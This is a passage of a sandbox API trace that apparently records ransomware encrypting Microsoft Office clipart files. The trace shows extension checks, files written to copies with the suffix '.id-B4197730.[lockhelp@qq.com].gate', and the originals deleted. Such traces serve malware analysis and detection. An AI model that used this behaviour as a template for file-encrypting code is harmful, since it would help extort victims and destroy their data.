Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0300.809] GetLastError () returned 0x0 [0300.809] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x1784, lpOverlapped=0x0) returned 1 [0301.030] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1790, lpOverlapped=0x0) returned 1 [0301.030] ReadFile (in: hFile=0x414, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.030] WriteFile (in: hFile=0x404, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.031] SetEndOfFile (hFile=0x404) returned 1 [0301.035] CloseHandle (hObject=0x404) returned 1 [0301.038] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.038] SetEndOfFile (hFile=0x414) returned 1 [0301.051] CloseHandle (hObject=0x414) returned 1 [0301.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0301.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.052] lstrlenW (lpString=".doc") returned 4 [0301.052] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.052] lstrlenW (lpString=".docx") returned 5 [0301.052] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0301.052] lstrlenW (lpString=".pdf") returned 4 [0301.052] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.052] lstrlenW (lpString=".xls") returned 4 [0301.052] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.052] lstrlenW (lpString=".xlsx") returned 5 [0301.052] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0301.052] lstrlenW (lpString=".ppt") returned 4 [0301.052] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.052] lstrlenW (lpString=".zip") returned 4 [0301.052] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.052] lstrlenW (lpString=".rar") returned 4 [0301.052] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.053] lstrlenW (lpString=".bz2") returned 4 [0301.053] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.053] lstrlenW (lpString=".7z") returned 3 [0301.053] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.053] lstrlenW (lpString=".dbf") returned 4 [0301.053] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.053] lstrlenW (lpString=".1cd") returned 4 [0301.053] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.053] lstrlenW (lpString=".jpg") returned 4 [0301.053] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.053] lstrlenW (lpString=".doc") returned 4 [0301.053] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.053] lstrlenW (lpString=".docx") returned 5 [0301.053] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0301.053] lstrlenW (lpString=".pdf") returned 4 [0301.053] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.053] lstrlenW (lpString=".xls") returned 4 [0301.053] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.053] lstrlenW (lpString=".xlsx") returned 5 [0301.053] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0301.053] lstrlenW (lpString=".ppt") returned 4 [0301.053] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.053] lstrlenW (lpString=".zip") returned 4 [0301.054] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.054] lstrlenW (lpString=".rar") returned 4 [0301.054] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.054] lstrlenW (lpString=".bz2") returned 4 [0301.054] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.054] lstrlenW (lpString=".7z") returned 3 [0301.054] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.054] lstrlenW (lpString=".dbf") returned 4 [0301.054] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.054] lstrlenW (lpString=".1cd") returned 4 [0301.054] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0301.054] lstrlenW (lpString=".jpg") returned 4 [0301.054] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.054] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0301.054] lstrlenW (lpString="PARNT_08.MID") returned 12 [0301.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0301.359] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=7347) returned 1 [0301.359] CloseHandle (hObject=0x554) returned 1 [0301.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0301.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0301.666] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.667] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0301.667] GetLastError () returned 0x0 [0301.667] ReadFile (in: hFile=0x4f0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0301.741] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0301.742] ReadFile (in: hFile=0x4f0, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.742] WriteFile (in: hFile=0x4c4, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.742] SetEndOfFile (hFile=0x4c4) returned 1 [0301.745] CloseHandle (hObject=0x4c4) returned 1 [0301.746] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.746] SetEndOfFile (hFile=0x4f0) returned 1 [0301.751] CloseHandle (hObject=0x4f0) returned 1 [0301.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0301.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.778] lstrlenW (lpString=".doc") returned 4 [0301.778] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.778] lstrlenW (lpString=".docx") returned 5 [0301.778] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0301.778] lstrlenW (lpString=".pdf") returned 4 [0301.778] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.778] lstrlenW (lpString=".xls") returned 4 [0301.778] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.778] lstrlenW (lpString=".xlsx") returned 5 [0301.779] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0301.779] lstrlenW (lpString=".ppt") returned 4 [0301.779] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.779] lstrlenW (lpString=".zip") returned 4 [0301.779] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.779] lstrlenW (lpString=".rar") returned 4 [0301.779] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.779] lstrlenW (lpString=".bz2") returned 4 [0301.779] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.779] lstrlenW (lpString=".7z") returned 3 [0301.779] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.779] lstrlenW (lpString=".dbf") returned 4 [0301.779] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.779] lstrlenW (lpString=".1cd") returned 4 [0301.779] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.779] lstrlenW (lpString=".jpg") returned 4 [0301.779] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.779] lstrlenW (lpString=".doc") returned 4 [0301.779] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.779] lstrlenW (lpString=".docx") returned 5 [0301.779] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0301.779] lstrlenW (lpString=".pdf") returned 4 [0301.779] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.779] lstrlenW (lpString=".xls") returned 4 [0301.779] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.779] lstrlenW (lpString=".xlsx") returned 5 [0301.779] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0301.780] lstrlenW (lpString=".ppt") returned 4 [0301.780] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.780] lstrlenW (lpString=".zip") returned 4 [0301.780] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.780] lstrlenW (lpString=".rar") returned 4 [0301.780] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.780] lstrlenW (lpString=".bz2") returned 4 [0301.780] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.780] lstrlenW (lpString=".7z") returned 3 [0301.780] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.780] lstrlenW (lpString=".dbf") returned 4 [0301.780] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.780] lstrlenW (lpString=".1cd") returned 4 [0301.780] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0301.780] lstrlenW (lpString=".jpg") returned 4 [0301.780] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.780] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0301.780] lstrlenW (lpString="SPACE_01.MID") returned 12 [0301.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.782] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=4219) returned 1 [0301.782] CloseHandle (hObject=0x4f8) returned 1 [0301.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0301.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0301.783] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.783] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0301.784] GetLastError () returned 0x0 [0301.784] ReadFile (in: hFile=0x4f8, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x107b, lpOverlapped=0x0) returned 1 [0301.870] WriteFile (in: hFile=0x4b8, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0x1080, lpOverlapped=0x0) returned 1 [0301.871] ReadFile (in: hFile=0x4f8, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b3fecc, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesRead=0x3b3fecc*=0x0, lpOverlapped=0x0) returned 1 [0301.871] WriteFile (in: hFile=0x4b8, lpBuffer=0x46fd020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3b3fc94, lpOverlapped=0x0 | out: lpBuffer=0x46fd020*, lpNumberOfBytesWritten=0x3b3fc94*=0xec, lpOverlapped=0x0) returned 1 [0301.871] SetEndOfFile (hFile=0x4b8) returned 1 [0301.871] CloseHandle (hObject=0x4b8) returned 1 [0301.871] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.871] SetEndOfFile (hFile=0x4f8) returned 1 [0301.874] CloseHandle (hObject=0x4f8) returned 1 [0301.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0301.899] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0301.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.899] lstrlenW (lpString=".doc") returned 4 [0301.899] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.899] lstrlenW (lpString=".docx") returned 5 [0301.899] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.899] lstrlenW (lpString=".pdf") returned 4 [0301.900] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.900] lstrlenW (lpString=".xls") returned 4 [0301.900] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.900] lstrlenW (lpString=".xlsx") returned 5 [0301.900] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.900] lstrlenW (lpString=".ppt") returned 4 [0301.900] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.900] lstrlenW (lpString=".zip") returned 4 [0301.900] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.900] lstrlenW (lpString=".rar") returned 4 [0301.900] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.900] lstrlenW (lpString=".bz2") returned 4 [0301.900] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.900] lstrlenW (lpString=".7z") returned 3 [0301.900] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.900] lstrlenW (lpString=".dbf") returned 4 [0301.900] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.900] lstrlenW (lpString=".1cd") returned 4 [0301.900] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.900] lstrlenW (lpString=".jpg") returned 4 [0301.900] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.900] lstrlenW (lpString=".doc") returned 4 [0301.900] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0301.900] lstrlenW (lpString=".docx") returned 5 [0301.900] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0301.900] lstrlenW (lpString=".pdf") returned 4 [0301.901] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0301.901] lstrlenW (lpString=".xls") returned 4 [0301.901] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0301.901] lstrlenW (lpString=".xlsx") returned 5 [0301.901] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0301.901] lstrlenW (lpString=".ppt") returned 4 [0301.901] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0301.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.901] lstrlenW (lpString=".zip") returned 4 [0301.901] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0301.901] lstrlenW (lpString=".rar") returned 4 [0301.901] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0301.901] lstrlenW (lpString=".bz2") returned 4 [0301.901] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0301.901] lstrlenW (lpString=".7z") returned 3 [0301.901] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0301.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.901] lstrlenW (lpString=".dbf") returned 4 [0301.901] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0301.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.901] lstrlenW (lpString=".1cd") returned 4 [0301.901] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0301.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0301.901] lstrlenW (lpString=".jpg") returned 4 [0301.901] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0301.901] lstrcmpiW (lpString1=".MID", lpString2=".gate") returned 1 [0301.901] lstrlenW (lpString="URBAN_01.MID") returned 12 [0301.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.902] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3b3ff14 | out: lpFileSize=0x3b3ff14*=13358) returned 1 [0301.902] CloseHandle (hObject=0x528) returned 1 [0301.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid")) returned 0x220 [0301.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0301.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0301.903] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.903] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b3fec0 | out: lpNewFilePointer=0x0) returned 1 [0301.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\URBAN_01.MID.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\urban_01.mid.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0301.903] GetLastError () returned 0x0 [0301.903] ReadFile (in: hFile=0x528, lpBuffer=0x46fd020, nNumberOfBytesToRead=0xffff0, 